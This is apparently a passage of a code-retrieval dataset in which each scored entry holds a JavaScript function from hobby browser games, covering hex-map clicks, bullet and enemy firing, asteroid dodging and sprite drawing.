function(mouseEvent){\n\t\tbuildLine(xCord,yCord);\t\n\t});\n\tthis.contextMenu = new ContextMenu(map, contextMenuOptions);\n}", "title": "" }, { "docid": "c32d6843f606347b8311cd639e0c28c2", "score": "0.5935978", "text": "function click_to_hex(x, y, param, event){\n\t\n\tvar coords = pixel_to_hex(x,y);\n\t//console.log(coords);\n\tif (param == \"click\"){\t\t\n\t\tif (fleet_order_mode == true){\n\t\t\t\n\t\t\tadd_fleet_order(fleet_order_start_hex, {'x':coords[0], 'z':coords[2]});\n\t\t\tif (event && event.ctrlKey){\n\t\t\t\t// if ctrl key pressed then waypoint mode\n\t\t\t}else {\n\t\t\t\tend_fleet_order_mode(fleet_selected.id);\n\t\t\t}\n\t\t\t\n\t\t}else {\n\t\t\tfleet_order_mode = false;\n\t\t\t\n\t\t\thex_selected = get_hex(coords[0], coords[2]);\n\t\t\tconsole.log(hex_selected);\n\t\t\thex_hover_history.push(hex_selected);\n\t\t\tif (hex_hover_history.length > 5){\n\t\t\t\thex_hover_history.pop();\n\t\t\t}\n\t\t\t\n\t\t\tfleet_selected = null;\n\t\t\tif (hex_selected.your_fleets){\n\t\t\t\t$.each(hex_selected.your_fleets, function(){\n\t\t\t\t\tif (this.ships && this.ships){\n\t\t\t\t\t\t$.each(this.ships, function (){\n\t\t\t\t\t\t\tthis.class = ship_class_cache[this.class_id];\t\t\t\t\t\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tfleet_selected = this;\n\t\t\t\t});\t\t\n\t\t\t}\n\t\t\tenemy_fleet_selected = null;\n\t\t\tif (hex_selected.enemy_fleets){\n\t\t\t\t$.each(hex_selected.enemy_fleets, function(){\n\t\t\t\t\tif (this.ships && this.ships){\n\t\t\t\t\t\t$.each(this.ships, function (){\n\t\t\t\t\t\t\tthis.class = ship_class_cache[this.class_id];\t\t\t\t\t\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tenemy_fleet_selected = this;\n\t\t\t\t});\t\t\n\t\t\t}\n\t\t\tredraw_overlay();\n\t\t\tvoid_view.set(\"hex_selected\", hex_selected);\n\t\t\tvoid_view.set(\"fleet_selected\", fleet_selected);\n\t\t\tvoid_view.set(\"enemy_fleet_selected\", enemy_fleet_selected);\n\t\t\tif(fleet_selected){\n\t\t\t\tvoid_view.set(\"fleet_selected.sub\", false);\n\t\t\t}\n\t\t\t//show_map_panel_system(hex_selected);\n\t\t\t//console.log(hex_map['x'+coords[0]+'z'+coords[2]]);\t\t\t\n\t\t}\n\t\t\n\t}else if (param == \"ctrl_click\"){\n\t\t\n\t}else if (param == \"double_click\"){\t\t\n\t\thex_selected = get_hex(coords[0], coords[2]);\n\t\tredraw_overlay();\n\t\tshow_system_view(hex_selected.x, hex_selected.z);\n\t}else {\n\t\tif (hex_highlighted.x != coords[0] || hex_highlighted.z != coords[2]){\n\t\t\thex_highlighted = get_hex(coords[0], coords[2]);\n\t\t\t//draw_map(\"galactic_map\");\n\t\t\tif (hex_map['x'+coords[0]+'z'+coords[2]]){\n\t\t\t\tredraw_overlay();\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0048cee5fef5d3904d22e547939aeb1a", "score": "0.5933406", "text": "function updateHexSprites(hexArray, player) {\n for (let hexBase of hexArray) {\n hexBase.x = hexBase.xPosition - player.xCenter + WIDTH/2;\n hexBase.y = hexBase.yPosition - player.yCenter + HEIGHT/2;\n }\n}", "title": "" }, { "docid": "f834d68410068c573518a16f8fbb58ad", "score": "0.5930166", "text": "fire(x, y, angle, shooter) {\n this.inX = x;\n this.inY = y;\n hasShot = true;\n var ang;\n this.body.reset(x, y);\n\n this.shooter = shooter;\n\n this.setDepth(10);\n this.setActive(true);\n this.setVisible(true);\n\n if (typeof (angle) == \"string\") {\n ang = parseInt(angle);\n }\n else {\n ang = angle;\n }\n\n //fires the bullet at the angle that the opponent is currently in\n switch (ang) {\n case -180:\n this.setVelocityY(4 * -150);\n break;\n case -135:\n this.setVelocityX(Math.sqrt(8) * 150);\n this.setVelocityY(Math.sqrt(8) * -150);\n break;\n case -45.00000000000006:\n this.setVelocityX(Math.sqrt(8) * 150);\n this.setVelocityY(Math.sqrt(8) * 150);\n break;\n case -45:\n this.setVelocityX(Math.sqrt(8) * 150);\n this.setVelocityY(Math.sqrt(8) * 150);\n break;\n case 0:\n this.setVelocityY(600);\n break;\n case 45:\n this.setVelocityX(Math.sqrt(8) * -150);\n this.setVelocityY(Math.sqrt(8) * 150);\n break;\n case 135:\n this.setVelocityX(Math.sqrt(8) * -150);\n this.setVelocityY(Math.sqrt(8) * -150);\n break;\n case -90:\n this.setVelocityX(4 * 150);\n break;\n case 90:\n this.setVelocityX(4 * -150);\n\n break;\n\n }\n\n\n\n\n }", "title": "" }, { "docid": "be862621761dc997b31733abbac82da5", "score": "0.59058297", "text": "function Shot() {\n this.dx = Math.cos(ship.r) * base * 15 + ship.dx;\n this.dy = Math.sin(ship.r) * base * 15 + ship.dy;\n this.x = ship.x + this.dx;\n this.y = ship.y + this.dy;\n this.d = 0;\n\n this.step = function(f) {\n ctx.beginPath();\n ctx.moveTo(this.x, this.y);\n ctx.lineTo(this.x += this.dx * f, this.y += this.dy * f);\n ctx.stroke();\n\n this.d += f;\n\n if (this.x < 0) { \n this.x = w;\n } else if (this.x > w) {\n this.x = 0;\n }\n if (this.y < 0) {\n this.y = h;\n } else if (this.y > h) {\n this.y = 0;\n }\n this.d += f;\n }\n}", "title": "" }, { "docid": "6eff651b4ba4f1d23b3333100ba7257f", "score": "0.59042317", "text": "function shootEnemy(enemy) {\n shoot(enemy);\n playAnimations(enemy);\n}", "title": "" }, { "docid": "5d83fa065332ce0d3b2944a004c526c7", "score": "0.5900833", "text": "function enemyShot( obj, speed ) {\r\n\r\n if ( gameOver ) {\r\n return;\r\n }\r\n\r\n //Get the center of sprites to be at (0, 0), when it's ordered.\r\n let px = obj.x>>8;\r\n let py = obj.y>>8;\r\n\r\n //If an enemy is out of the screen, the enemy doesn't shot\r\n if ( px - 40 < camera_x || camera_x + SCREEN_W <= px + 40 \r\n || py - 40 < camera_y || camera_y + SCREEN_H <= py + 40 ) \r\n {\r\n return;\r\n }\r\n\r\n\r\n //Math.atan2 : 0 to 2 (radian)\r\n //Math.cos, Math.sin: 0 to 1\r\n let angleFromEnemyToJiki = Math.atan2( (jiki.y - obj.y), (jiki.x - obj.x) );\r\n // angleFromEnemyToJiki += rand( -3, 3 ) * Math.PI / 180; //Change the angle\r\n let vectorXFromEnemyToJiki = Math.cos( angleFromEnemyToJiki ) * speed;\r\n let vectorYFromEnemyToJiki = Math.sin( angleFromEnemyToJiki ) * speed;\r\n\r\n enemyBullet.push( \r\n new EnemyBullet( 15, obj.x, obj.y, vectorXFromEnemyToJiki, vectorYFromEnemyToJiki )\r\n );\r\n}", "title": "" }, { "docid": "2ebf463191c6c0f19a1785152cdd7049", "score": "0.58916575", "text": "fire(x, y, angle, shooter) {\n this.inX = x;\n this.inY = y;\n hasShot = true;\n var ang;\n this.body.reset(x, y);\n\n this.shooter = shooter;\n\n this.setDepth(10);\n this.setActive(true);\n this.setVisible(true);\n\n if (typeof (angle) == \"string\") {\n ang = parseInt(angle);\n }\n else {\n ang = angle;\n }\n\n //fires the bullet at the angle that the player is currently in\n switch (ang) {\n case -180:\n this.setVelocityY(4 *-150);\n break;\n case -135:\n this.setVelocityX(Math.sqrt(8) * 150);\n this.setVelocityY(Math.sqrt(8) * -150);\n break;\n case -45.00000000000006:\n this.setVelocityX(Math.sqrt(8) * 150);\n this.setVelocityY(Math.sqrt(8) * 150);\n break;\n case -45:\n this.setVelocityX(Math.sqrt(8) * 150);\n this.setVelocityY(Math.sqrt(8) * 150);\n break;\n case 0:\n this.setVelocityY(4 * 150);\n break;\n case 45:\n this.setVelocityX(Math.sqrt(8) * -150);\n this.setVelocityY(Math.sqrt(8) * 150);\n break;\n case 135:\n this.setVelocityX(Math.sqrt(8) * -150);\n this.setVelocityY(Math.sqrt(8) * -150);\n break;\n case -90:\n this.setVelocityX(4 * 150);\n break;\n case 90:\n this.setVelocityX(4 * -150);\n\n break;\n\n }\n\n }", "title": "" }, { "docid": "ba90934f515d8dde3673583f906b8ef9", "score": "0.5885308", "text": "function shoot() {\n if (x < 420) {\n ctx.clearRect(0, 0, 400, 640);\n draw()\n ball(x, y, 20);\n\t\t\n x = x - dx;\n y = y - dy;\n\n }\n\n if (x >= 420 || y >= 660 || x <= -25 || y <= -25) {\n clearInterval(timerId)\n }\n\n}", "title": "" }, { "docid": "fd12e4d3ef26198dc93b9419a699f0e2", "score": "0.5872271", "text": "function frog(x,y){\npush();\ntranslate(x,y);\nstroke(0);\nstrokeWeight(70);\n\nnoStroke();\nfill('green');\nellipse(-17.5, -65, 35,35);//left eye \nellipse(17.5, -65, 35,35);//right eye \narc(0,-65,70,70,0, PI); //chin\nfill(0);\nellipse(-14, -65, 10,18);//left eye \nellipse(14, -65, 10, 18);//right eye\nellipse(0, -40, 35,18); //mouth\npop();\nstrokeWeight(1);\n}", "title": "" }, { "docid": "df74a90714e222b445f5135d9591d820", "score": "0.5867866", "text": "drawMissile() {\n this.move();\n p.fill(\"black\");\n //console.log(\"draw: \" + this.x + \", \" + this.y);\n p.ellipse(this.x, this.y, this.diameter);\n }", "title": "" }, { "docid": "60ecf916ce97e997c28429aa704f52da", "score": "0.5867345", "text": "function Hexagon(size)\n{ \n let sketchHexagon \n for(let i = 0 ; i <= 5 ; i += 1)\n {\n const angle = i * 2 * Math.PI / 6\n const xvalue = size * Math.sin(angle);\n const yvalue = size * Math.cos(angle);\n const point = [xvalue,yvalue];\n\n if (i === 0)\n {\n sketchHexagon = new Sketch(point)\n }\n else \n {\n sketchHexagon.LineTo(point)\n } \n }\nreturn sketchHexagon.End(true)\n}", "title": "" }, { "docid": "3b7ea5638749bb6a634ea202b83e57ae", "score": "0.5859769", "text": "function enemyShooting(){\n if (level % 5 !== 4){\n for (let i=0; i < enemies.length; ++i){\n if (enemies[i] === null){\n continue;\n }\n if (getRandomNumber(1,(1000 - (10 * level))) === 50) {\n let shot = {\n x: enemies[i].x + 7,\n y: enemies[i].y,\n size: 6\n };\n enemyProjectiles.push(shot);\n }\n }\n }\n else{\n for (let i=0; i < enemies.length; ++i){\n if (enemies[i] === null){\n continue;\n }\n if (getRandomNumber(1,50) === 3) {\n let shot = {\n x: enemies[i].x + getRandomNumber(0, enemies[i].size),\n y: enemies[i].y + getRandomNumber(100, enemies[i].size),\n size: 50\n };\n enemyProjectiles.push(shot);\n }\n }\n }\n for (let i=0; i < enemyProjectiles.length; ++i){\n context.fillStyle = \"white\";\n context.fillRect(enemyProjectiles[i].x,enemyProjectiles[i].y,enemyProjectiles[i].size,enemyProjectiles[i].size);\n enemyProjectiles[i].y += 2;\n if (enemyProjectiles[i].y >= height){\n enemyProjectiles.splice(i, 1);\n }\n }\n\n}", "title": "" }, { "docid": "40ae378bdb12f7ef69f1f2df006c82d9", "score": "0.58588606", "text": "function draw() {\n\n // placing the background image\n background(space);\n stroke(226, 204, 0);\n line(0, y, width, y);\n\n y++;\n if (y > height) {\n y = 0;\n }\n // Default the ship's velocity to 0 in case no key is pressed this frame\n shipVX = 0;\n shipVY = 0;\n\n // Check which keys are down and set the ship's velocity based on its\n // speed appropriately\n\n // Left and right\n if (keyIsDown(LEFT_ARROW)) {\n shipVX = -shipSpeed;\n }\n else if (keyIsDown(RIGHT_ARROW)) {\n shipVX = shipSpeed;\n }\n\n // Up and down (separate if-statements so you can move vertically and\n // horizontally at the same time)\n if (keyIsDown(UP_ARROW)) {\n shipVY = -shipSpeed;\n }\n else if (keyIsDown(DOWN_ARROW)) {\n shipVY = shipSpeed;\n }\n\n // Move the ship according to its calculated velocity\n shipX = shipX + shipVX;\n shipY = shipY + shipVY;\n\n // astroid velocity speed\n asteroidVX = asteroidSpeed;\n asteroidX = asteroidX + asteroidVX;\n\n\n // Check if the asteroid and ship overlap - if they do the player loses\n // We do this by checking if the distance between the centre of the asteroid\n // and the centre of the ship is less that their combined radii\n\n if (dist(asteroidX,asteroidY,shipX,shipY) < asteroidSize/2 + shipSize/2) {\n // Tell the player they lost\n // console.log(\"YOU LOSE!\");\n // Reset the astroid's position\n asteroidX = 0;\n asteroidY = random(0,height);\n // Reset the enemy's size and speed\n asteroidSize = 50;\n asteroidSpeed = 5;\n // Reset the ship's position\n shipX = width/2;\n shipY = height/2;\n // Reset the dodge counter\n dodges = 0;\n }\n if (dist(bombX,bombY,shipX,shipY) < bombSize/2 + shipSize/2) {\n // Tell the player they lost\n // console.log(\"YOU LOSE!\");\n // Reset the astroid's position\n bombX = 0;\n bombY = random(0,height);\n // Reset the astroid's size and speed\n bombSize = 50;\n bombSpeed = 5;\n // Reset the ship's position\n shipX = width/2;\n shipY = height/2;\n // Reset the dodge counter\n dodges = 0;\n }\n\n // Check if the ship has gone off the screen (cheating!)\n if (shipX < 0 || shipX > width || shipY < 0 || shipY > height) {\n // If they went off the screen they lose in the same way as above.\n // console.log(\"YOU LOSE!\");\n asteroidX = 0;\n asteroidY = random(0,height);\n asteroidSize = 50;\n asteroidSpeed = 5;\n shipX = width/2;\n shipY = height/2;\n dodges = 0;\n }\n // Check if the ship has gone off the screen (cheating!)\n if (shipX < 0 || shipX > width || shipY < 0 || shipY > height) {\n // If they went off the screen they lose in the same way as above.\n // console.log(\"YOU LOSE!\");\n bombX = 0;\n bombY = random(0,height);\n bombSize = 50;\n bombSpeed = 5;\n shipX = width/2;\n shipY = height/2;\n dodges = 0;\n }\n\n // Check if the astroid has moved all the way across the screen\n if (asteroidX > width) {\n // This means the player dodged so update its dodge statistic\n dodges = dodges + 1;\n // Tell them how many dodges they have made\n // Reset the astroid's position to the left at a random height\n asteroidX = 0;\n asteroidY = random(0,height);\n // Increase the astroid's speed and size to make the game harder\n asteroidSpeed = asteroidSpeed + astroidSpeedIncrease;\n\n // Ship speed and size randomizer at every score\n shipSpeedRandom = random (-10,20);\n shipSizeRandom = random (-10,20);\n // This is where the speed and size changes at every score\n shipSpeed = shipSpeed + shipSpeedRandom ;\n shipSize = shipSize + shipSizeRandom ;\n // Limit the speed and size randomizer ;\n shipSpeed = constrain(shipSpeed,10,20);\n shipSizeRandom = constrain(shipSize,10,20);\n }\n\n // Adding a bomb obstacle if the score is 5 and above\n if (dodges >= 5 )\n {\n image(bomb,bombX,bombY);\n bombVX = bombSpeed;\n bombX = bombX + bombVX;\n if ( asteroidX && bombX > width) {\n // This means the player dodged so update its dodge statistic\n // dodges = dodges + 1;\n // Tell them how many dodges they have made\n // Reset the astroids's position to the left at a random height\n bombX = 0;\n bombY = random(0,height);\n\n // Increase the astroids's speed and size to make the game harder\n bombSpeed = bombSpeed + bombSpeedIncrease;\n }\n }\n\n //Display score\n textFont(star);\n textSize(75);\n fill(255,255,255);\n textAlign(CENTER);\n text(\"Score \" + dodges, width/2, height/8);\n\n// Display the astroids and the ship images\nimage(asteroid,asteroidX,asteroidY);\nimage(ship,shipX,shipY,shipSize);\n\n// Display the \"YOU WIN\" SCREEN WITH RESTART OPTION\nif (dodges == 10){\n background(space);\n textFont('Arial');\n textSize(75);\n fill(255,255,255);\n textAlign(CENTER);\n text(win, width/2, height/2);\n textSize(40);\n fill(255,255,255);\n textAlign(CENTER);\n text(\"Press Escape to Replay the game \", width/2, height/1.5);\n if (keyIsDown(ESCAPE)) {\n dodges = 0;\n }\n}\n}", "title": "" }, { "docid": "e59dc69fda7d2e1c3a57e28b00a3e7cf", "score": "0.5848813", "text": "hex(xOrIndex, optionalY) {\n if (arguments.length < 1 || arguments.length > 2) return null;\n if (arguments[0] == null) return null;\n\n //THIS OBJECT IS RETURNED IF VALID COORDINATES/INDEX PARAMETER\n let h = {\n x: 0,\n y: 0,\n index: null,\n column: null,\n row: null,\n cube: {x:0, y:0, z:0}, \n width: this.cellWidth(),\n height: this.cellHeight(),\n points: []\n }\n \n\n //SET EITHER THE INDEX OR COORDINATES ON THE GRID\n if (arguments.length == 1) {\n if (arguments[0] < 0 || arguments[0] >= this.size()) return null;\n h.index = arguments[0];\n } else {\n if (arguments[0] < this.x || arguments[0] >= this.x + this.width()) return null;\n if (arguments[1] < this.y || arguments[1] >= this.y + this.height()) return null;\n h.x = arguments[0];\n h.y = arguments[1];\n }\n\n //CALCUALTE THE REMAINING HEXAGON OBJECT PROPERTY VALUES\n if (h.index != null) {\n\n //WE HAVE THE INDEX; CALCULATE REST\n h.column = h.index % this.columns();\n h.row = floor(h.index / this.columns());\n h.x = this.x + ((h.width / 2) + (h.width * 0.75 * h.column));\n h.y = this.y + ((h.height / 2) + (h.height * h.row));\n if (h.column % 2 != 0) h.y += (h.height / 2);\n h.cube.x = h.column;\n h.cube.z = h.row - (h.column - (h.column % 2)) / 2;\n h.cube.y = -h.cube.x-h.cube.z;\n\n } else {\n\n //WE HAVE AN X,Y COORDINATE; CALCULATE REST\n let col = (2/3 * (h.x - this.radius() - this.x)) / this.radius();\n let row = (-1/3 * (h.x - this.radius() - this.x) + sqrt(3)/3 * (h.y - (h.height/2) - this.y)) / this.radius();\n let rx = round(col);\n let ry = round(-col-row);\n let rz = round(row);\n\n let x_dff = abs(rx - col);\n let y_dff = abs(ry - (-col-row));\n let z_dff = abs(rz - row);\n\n if (x_dff > y_dff && x_dff > z_dff) {\n rx = -ry-rz;\n } else if (y_dff > z_dff) {\n ry = -rx-rz;\n } else {\n rz = -rx-ry;\n } \n\n h.column = rx;\n if (h.column < 0 || h.column >= this.columns()) return null;\n\n h.row = rz + (rx - (rx % 2)) / 2;\n if (h.row < 0 || h.row >= this.rows()) return null;\n\n h.x = this.x + ((h.width / 2) + (h.width * 0.75 * h.column));\n h.y = this.y + ((h.height / 2) + (h.height * h.row));\n h.index = h.row * this.columns() + h.column;\n if (h.column % 2 != 0) h.y += (h.height / 2);\n h.cube.x = h.column;\n h.cube.z = h.row - (h.column - (h.column % 2)) / 2;\n h.cube.y = -h.cube.x-h.cube.z;\n }\n\n //CALCUATE THE 6 POINTS OF THE HEXAGON\n for (let v = 0; v < 6; v++) {\n let angleDegree = 60 * v;\n let angleRad = PI / 180 * angleDegree;\n h.points.push(new Vector(h.x + this.radius() * cos(angleRad),\n h.y + this.radius() * sin(angleRad)));\n }\n\n\n //if (h.index < 0 || h.index >= this.size()) return null;\n return h;\n }", "title": "" }, { "docid": "d50373dee271e8eac19270077c44850f", "score": "0.5845427", "text": "drawShuriken() {\n if (throwing) {\n posShuriken += velocityShuriken;\n if (posShuriken < 0) {\n throwing = false;\n } else if (posShuriken > canvas.width) {\n throwing = false;\n }\n\n srcXShuriken = this.updateFrameShuriken();\n ctx.drawImage(\n shuriken,\n this.updateFrameShuriken(),\n 0,\n shurikenSprite.spriteWidth / shurikenSprite.frameCount,\n shurikenSprite.spriteHeight,\n posShuriken,\n posYShuriken,\n shurikenSprite.charWidth,\n shurikenSprite.charWidth\n );\n }\n }", "title": "" }, { "docid": "4e6b51cf17eecfebefdd9906927f6327", "score": "0.5829328", "text": "function drawShip(xPosition, yPosition, magnification) {\n\n var xPos = xPosition;\n var yPos = yPosition;\n var m = magnification;\n \n var ship = new Path();\n ship.fillColor = 'deepSkyBlue';\n ship.add(new Point(0 * m + xPos, yPos + m * 7));\n ship.add(new Point(0 * m + xPos, yPos + m * 4));\n ship.add(new Point(1 * m + xPos, yPos + m * 4));\n ship.add(new Point(1 * m + xPos, yPos + m * 3));\n ship.add(new Point(5 * m + xPos, yPos + m * 3));\n ship.add(new Point(5 * m + xPos, yPos + m * 1));\n ship.add(new Point(6 * m + xPos, yPos + m * 1));\n ship.add(new Point(6 * m + xPos, yPos + m * 0));\n ship.add(new Point(7 * m + xPos, yPos + m * 0));\n ship.add(new Point(7 * m + xPos, yPos + m * 1));\n ship.add(new Point(8 * m + xPos, yPos + m * 1));\n ship.add(new Point(8 * m + xPos, yPos + m * 3));\n ship.add(new Point(12 * m + xPos, yPos + m * 3));\n ship.add(new Point(12 * m + xPos, yPos + m * 4));\n ship.add(new Point(13 * m + xPos, yPos + m * 4));\n ship.add(new Point(13 * m + xPos, yPos + m * 7));\n \n}", "title": "" }, { "docid": "0e7ffa3503ce3d50722201ae91f44d13", "score": "0.5812248", "text": "function c_shootInstantBullet(entity)\n\n{\n\n\tvar destAngle;\n\n\tvar aDir;\n\n\n\n\taDir = entity.direction == LEFT ? Math.PI : 0; // angle phase due to entity direction, 0 when player is right, 3.14 (PI) when it is left\n\n\n\n\tif (entity.target) \n\n\t\taDir = destAngle = Math.atan2((entity.ypos - entity.height/2) - entity.target.ypos, (entity.xpos + entity.width/2) - entity.target.xpos) + Math.PI * (entity.direction == RIGHT ? 1 : -1);\n\n\n\n\tvar physix = new Physix();\n\n\tfor (var i = 0; i < entity.weapons[entity.weapon].nProjectiles ; i++)\n\n\t{\n\n\t\trandomAngle = aDir + ((Math.random() * entity.weapons[entity.weapon].pSpread + Math.random() * (-entity.weapons[entity.weapon].pSpread)) * Math.PI / 180); // random usage:( random() * max ) * min, in case of negative values: ( random() * pos + random() * neg )\n\n\t \n\n\t\tfor (var z = 0; z < entity.weapons[entity.weapon].range; z += 10)\n\n\t\t{\n\n\t\t\tproj = {\n\n\t\t\t\twidth: 5,\n\n\t\t\t\theight: 1,\n\n\t\t\t\typos: entity.firePos.y + z * Math.sin(randomAngle),\n\n\t\t\t\txpos: entity.firePos.x + 5 + z * Math.cos(randomAngle),\n\n\t\t\t\txvel: 10\n\n\t\t\t};\n\n\n\n\t\t\ttrailColor = '#97C1E2';\n\n\t\t\tif (P_DOUBLEDAMAGE in entity.pFlags) {\n\n\t\t\t\tif (entity.pFlags[P_DOUBLEDAMAGE] != 0)\n\n\t\t\t\t\ttrailColor = 'red';\n\n\t\t\t}\n\n\n\n\t\t\t//If a collision has occurred\n\n\t\t\tif (collidedObj = physix.collision.detect(proj, proj.xvel, __sections.retrieveObjs(__sections.getZoneByX(proj.xpos), rigidBodies))) { // may cause slow downs\n\n\n\n\t\t\t\tif (entity.weapon == SHOTGUN) {\n\n\t\t\t\t\trender.projTrail(entity.firePos.x, entity.firePos.y, proj.xpos, proj.ypos, entity, trailColor);\n\n\t\t\t\t}\n\n\n\n\t\t\t\tif (entity == collidedObj.objRef)\n\n\t\t\t\t\tcontinue;\n\n\t\t\t\telse {\n\n\t\t\t\t\tc_switchCollision(collidedObj.objRef, entity, proj.xpos, proj.ypos);\n\n\t\t\t\t\tbreak;\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\telse\n\n\t\t\t\tif (entity.weapon == SHOTGUN)\n\n\t\t\t\t\trender.projTrail(entity.firePos.x, entity.firePos.y, proj.xpos, proj.ypos, trailColor);\n\n\t\t}\n\n\t}\n\n\treturn true;\n\n}", "title": "" }, { "docid": "9b74168a6bcc6eb637aea1e3e0503961", "score": "0.58097047", "text": "afterUpdate(){\n // Sposto il pianeta nella sua nuova posizione\n this.x += this.dx;\n this.y += this.dy;\n\n // Utilizzo un fattore di divisione pari a 1*10^9 per scalare le dimensioni della posizione, per farle rientrare su schermo\n var newshapeX = Math.round((stage.canvas.width/2) + (this.x/1e9));\n var newshapeY = Math.round((stage.canvas.height/2) + (this.y/1e9));\n\n\n // Traccio l'orbita\n if(this.shape.x != 0 && this.shape.y != 0 && (this.shape.x != newshapeX || this.shape.y != newshapeY )){\n this.orbitStroke.graphics.setStrokeStyle(2);\n this.orbitStroke.graphics.beginStroke(\"red\");\n this.orbitStroke.graphics.moveTo(this.shape.x,this.shape.y);\n this.orbitStroke.graphics.lineTo(newshapeX, newshapeY);\n this.orbitStroke.graphics.endStroke();\n // this.orbitStroke.cache(0,0,1000,1000);\n }\n\n // Sposto il pianeta a livello grafico\n this.shape.x = newshapeX;\n this.shape.y = newshapeY;\n\n // console.log(this.shape.x + \", \" + this.shape.y);\n }", "title": "" }, { "docid": "2934226afe12259ad3b874323262383d", "score": "0.579914", "text": "function EnemyNomalShoot(index){\n\n\tvar ex = Enemy.param[index].ex;\n\tvar ey = Enemy.param[index].ey;\n\tvar ew = Enemy.param[index].cw;\n\tvar eh = Enemy.param[index].ch;\n\tvar edir = Enemy.param[index].dir;\n\n\tvar temp_r = 0;\n\tvar arylength = Enemy.bullet.length;\n\n\tfor(var i=0;i<arylength;i++){\n\t\tif(Enemy.bullet[i].death){\n\t\t\tif(edir == 0){\n\t\t\t\tEnemy.bullet[i].bx = ex - ew/2;\n\t\t\t}else{\n\t\t\t\t\tEnemy.bullet[i].bx = ex + ew/2;\n\t\t\t}\n\t\t\tEnemy.bullet[i].by = ey - eh/2;\n\n\t\t\ttemp_r = (Math.atan2((p_posY-ey),(p_posX-ex))/Math.PI*180+360)%360;\n\t\t\tEnemy.bullet[i].addx = Math.cos(temp_r*(Math.PI /180));\n\t\t\tEnemy.bullet[i].addy = Math.sin(temp_r*(Math.PI /180));\n\t\t\tEnemy.bullet[i].dir = edir;\n\t\t\tEnemy.bullet[i].rad = 10;\n\t\t\tEnemy.bullet[i].spd = 4;\n\t\t\tEnemy.bullet[i].ran = 200;\n\t\t\tEnemy.bullet[i].type = 0;\n\t\t\tEnemy.bullet[i].time = 0;\n\t\t\tEnemy.bullet[i].dmg = 10;\n\t\t\tEnemy.bullet[i].death = false;\n\t\t\tbreak;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8265c3dd42e4e90d35416a7b425b19a6", "score": "0.5781417", "text": "static basicShoot(angle, weapon) {\n if (weapon.ableToShoot()) {\n new Bullet({\n angle: angle,\n parent: weapon.parent,\n weaponName: weapon.name\n });\n weapon.decrementAmmo();\n weapon.timeLastShot = new Date().getTime();\n }\n }", "title": "" }, { "docid": "092578900230c3e19b92de8ef1ede028", "score": "0.5741322", "text": "function shoot(e) {\n let laserId\n // currentlocation of the spaceship\n let currentLaserIndex = currentSpaceShipIndex\n\n\n //function to move the laser from the shooter to the corona invader\n function moveLaser() {\n squares[currentLaserIndex].classList.remove(\"laser\")\n currentLaserIndex -= width\n squares[currentLaserIndex].classList.add(\"laser\")\n if (squares[currentLaserIndex].classList.contains(\"invader\")) {\n squares[currentLaserIndex].classList.remove(\"laser\")\n squares[currentLaserIndex].classList.remove(\"invader\")\n squares[currentLaserIndex].classList.add(\"boom\")\n\n\n\n // Let the boom appear for a short time and show it for 250 milliseconds\n setTimeout(() => squares[currentLaserIndex].classList.remove(\"boom\"), 250)\n clearInterval(laserId)\n\n // array corona invaders taken down\n const coronaTakenDown = coronaInvaders.indexOf(currentLaserIndex)\n // pushing new item to our coronaInvadersTakenDown array\n coronaInvadersTakenDown.push(coronaTakenDown)\n result++\n resultDisplay.textContent = result\n boom.play();\n }\n\n if (currentLaserIndex < width) {\n clearInterval(laserId)\n // remove the laser class after 100 milliseconds\n setTimeout(() => squares[currentLaserIndex].classList.remove(\"laser\"), 100)\n }\n }\n\n // I want the laser to be shooted with the spacebar key on my keyboard\n switch (e.keyCode) {\n // spacebar keyboard = 32\n case 32:\n //setInterval and move the laser every 100 milliseconds\n laserId = setInterval(moveLaser, 100)\n break\n }\n }", "title": "" }, { "docid": "92c9ebbff5f027b2176a6b2639213067", "score": "0.5738894", "text": "function frightStart() {\n ghostPoints = 200;\n }", "title": "" }, { "docid": "82a368317a9ed74990c614462448a405", "score": "0.57377213", "text": "function fireGenerator(){\n var x = player.x;\n var y = player.y;\n var height = 10;\n var width = 10;\n var id = Math.random();\n var spdX = -10 //Math.cos(angle/180*Math.PI)*5;\n var spdY = 0 //Math.sin(angle/180*Math.PI)*5;\n fire(id,x,y,spdX,spdY,width,height);\n}", "title": "" }, { "docid": "d0f1eafd6cbd481fb05054b64d1e14c0", "score": "0.57306784", "text": "function shoot(event) {\n\tif (event.clientY < window.innerHeight/2 || (laser && laser.visible)) return;\n\tvar raycast = new THREE.Raycaster();\n\tvar dir = {\"x\":( cursPos / window.innerWidth ) * 2 - 1, \"y\": - ( event.clientY / window.innerHeight )*4 + 3};\n\traycast.setFromCamera( dir, camera_Ant );\n\tvar intersects = raycast.intersectObjects( scene.children );\n\t\n\t// Check if the key was hit\n\tfor ( var ix = 0; ix < intersects.length; ix++ ) {\n\t\tfor (var jx = 0; jx < keys.length; jx ++) {\n\t\t\tif (intersects[ix].object == keys[jx].obj && curKey == keys[jx].str && !keys[jx].hit) {\n\t\t\t\tkeys[jx].hit = true;\n\t\t\t\thits.push(keys[jx]);\n\t\t\t\tcurKey = null;\n\t\t\t\tantPoint();\n\t\t\t\tsmoke(keys[jx].obj);\n\t\t\t}\n\t\t}\n\t}\n\t\n\t// Draw the laser\n\tvar laserGeo = new THREE.Geometry();\n\tvar dest = new THREE.Vector3(raycast.ray.origin.x + laserDistance*raycast.ray.direction.x,\n\t\t\t\t\t\t\t\t raycast.ray.origin.y + laserDistance*raycast.ray.direction.y,\n\t\t\t\t\t\t\t\t raycast.ray.origin.z + laserDistance*raycast.ray.direction.z);\n\tlaserGeo.vertices.push(ant.obj.worldToLocal(dest), new THREE.Vector3(0,0,-5));\n\tlaser = new THREE.Line(laserGeo, laserMaterial);\n\tlaserStart = clock.getElapsedTime();\n\tant.obj.add(laser);\n}", "title": "" }, { "docid": "7ce8b083850f9ae1f05e24b9b669f84f", "score": "0.5722774", "text": "onCreate(hex) {\n hex.render(draw)\n }", "title": "" }, { "docid": "949c63db32a5fc927b1bb6e51c47a2a7", "score": "0.5717674", "text": "function Shot(x, y, dx, dy) {\n this.x = x;\n this.y = y;\n this.dx = dx;\n this.dy = dy;\n}", "title": "" }, { "docid": "603f29f8a078208142806d9a42d1fbed", "score": "0.5716002", "text": "spawnHunter(theScene) {\r\n // port locations for reference.. ports are 30 by 30 centered on locations below. Must spawn so there is no overlap\r\n // location = [{ x: 210, y: 130 }, { 